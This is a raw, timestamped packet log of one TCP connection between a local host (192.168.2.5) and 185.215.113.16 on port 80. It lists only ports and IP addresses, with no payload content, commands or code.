Dec 27, 2024 15:09:18.795324087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.795515060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.795579910 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.796364069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.796514034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.796560049 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.797282934 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.797386885 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.798141003 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.798324108 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.798388958 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.798440933 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.799427986 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.799444914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.799503088 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.800467014 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.800544977 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.800658941 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.801433086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.801481962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.801783085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.802452087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.802512884 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.802704096 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.803426027 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.803529024 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.803585052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.804455996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.804543972 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.805485010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.805551052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.805659056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.805706024 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.806483984 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.806602955 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.806725025 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.807508945 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.807626963 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.807739019 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.808554888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.808804989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.808868885 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.809700966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.809760094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.809839010 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.810604095 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.810726881 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.810776949 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.811686993 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.811804056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.812746048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.812817097 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.812834024 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.812855959 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.813710928 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.813879013 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.813968897 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.814760923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.814877987 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.814924002 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.815766096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.816030025 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.816385031 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.816741943 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.816900969 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.816978931 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.817775011 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.817924023 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.817990065 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.818808079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.818912983 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.818994999 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.819813967 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.819932938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.819971085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.820827961 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.820945024 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.820983887 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.821885109 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.821973085 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.822313070 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.822913885 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.823055029 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.823097944 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.823967934 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.824052095 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.824157953 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.824928045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.825026035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.825114965 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.825938940 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.826061010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.826113939 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.826968908 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.869612932 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.966315031 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.966336966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.966419935 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.966778040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.966928005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.967071056 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.967842102 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.968009949 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.968096018 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.968900919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.968916893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.969012976 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.969805002 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.969938993 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.970006943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.970822096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.970948935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.971013069 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.971860886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.972018957 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.972098112 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.972841024 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.972856998 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.972927094 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.973877907 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.974045038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.974195957 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.974920034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.975112915 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.975886106 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.975958109 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.976181030 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.976257086 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.977093935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.977247953 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.977828026 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.977896929 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.978130102 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.979162931 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.979249001 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.979289055 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.979336977 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.980178118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.980338097 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.981091976 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.981152058 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.981277943 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.981370926 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.982017040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.982177019 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.983105898 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.983217955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.983256102 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.983331919 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.984200001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.984361887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.985268116 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.985379934 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.985414028 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.985492945 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.986093044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.986381054 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.987431049 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.987493992 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.987564087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.987643003 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.988373995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.988389015 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.988480091 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.989418030 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.989434004 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.989543915 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.990365982 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.990494967 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.990567923 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.991542101 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.991559029 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.991628885 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.991836071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.991913080 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.992470026 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.993036985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.994137049 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.994215012 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.995526075 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.995687962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.995982885 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.995999098 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.996009111 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.996079922 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.996315956 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.996474028 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.996889114 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.997519016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.997673035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.997765064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.998517036 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.998657942 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.998713970 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.999561071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.999733925 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.000422955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.000607014 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.000785112 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.000973940 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.001560926 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.001713991 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.001776934 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.002629995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.002645016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.002716064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.003873110 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.003897905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.003940105 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.004628897 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.004801989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.005686998 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.005711079 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.005870104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.006166935 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.006655931 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.006813049 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.006913900 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.007683992 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.007842064 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.007893085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.008749008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.008912086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.008977890 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.009784937 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.009938002 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.010175943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.010818005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.010972977 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.011116028 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.011882067 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.012037039 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.012140989 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.012913942 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.013066053 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.013132095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.013919115 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.013933897 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.013978958 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.014944077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.015091896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.015204906 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.015841961 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.015996933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.016849041 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.016876936 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.017041922 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.017119884 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.018070936 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.018086910 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.018178940 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.018805981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.019058943 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.019144058 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.019906044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.072901964 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.157583952 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.157675028 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.157754898 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.158035994 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.158162117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.158937931 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.159039974 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.159053087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.159101009 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.159854889 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.159965038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.160893917 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.160939932 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.160990000 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.161045074 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.161971092 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.162077904 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.162161112 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.162995100 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.163126945 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.163223028 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.164084911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.164133072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.164180994 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.164999962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.165157080 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.165994883 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.166054010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.166147947 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.166214943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.167128086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.167172909 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.168068886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.168154001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.168229103 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.168229103 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.169080019 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.169166088 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.170103073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.170169115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.170228958 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.171137094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.171204090 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.171231985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.171288013 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.172161102 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.172422886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.173183918 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.173253059 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.173367023 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.173367023 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.174168110 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.174329042 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.174429893 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.175204992 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.175363064 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.176270008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.176311016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.176342964 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.176419020 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.177319050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.177817106 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.178188086 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.178317070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.178364038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.179527998 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.179662943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.179953098 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.180059910 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.180332899 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.180387020 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.181369066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.181464911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.181483030 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.181544065 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.182383060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.182421923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.182545900 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.183404922 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.183866978 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.184422016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.184506893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.184509993 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.184623957 CET	49718	80	192.168.2.5	185.215.113.16
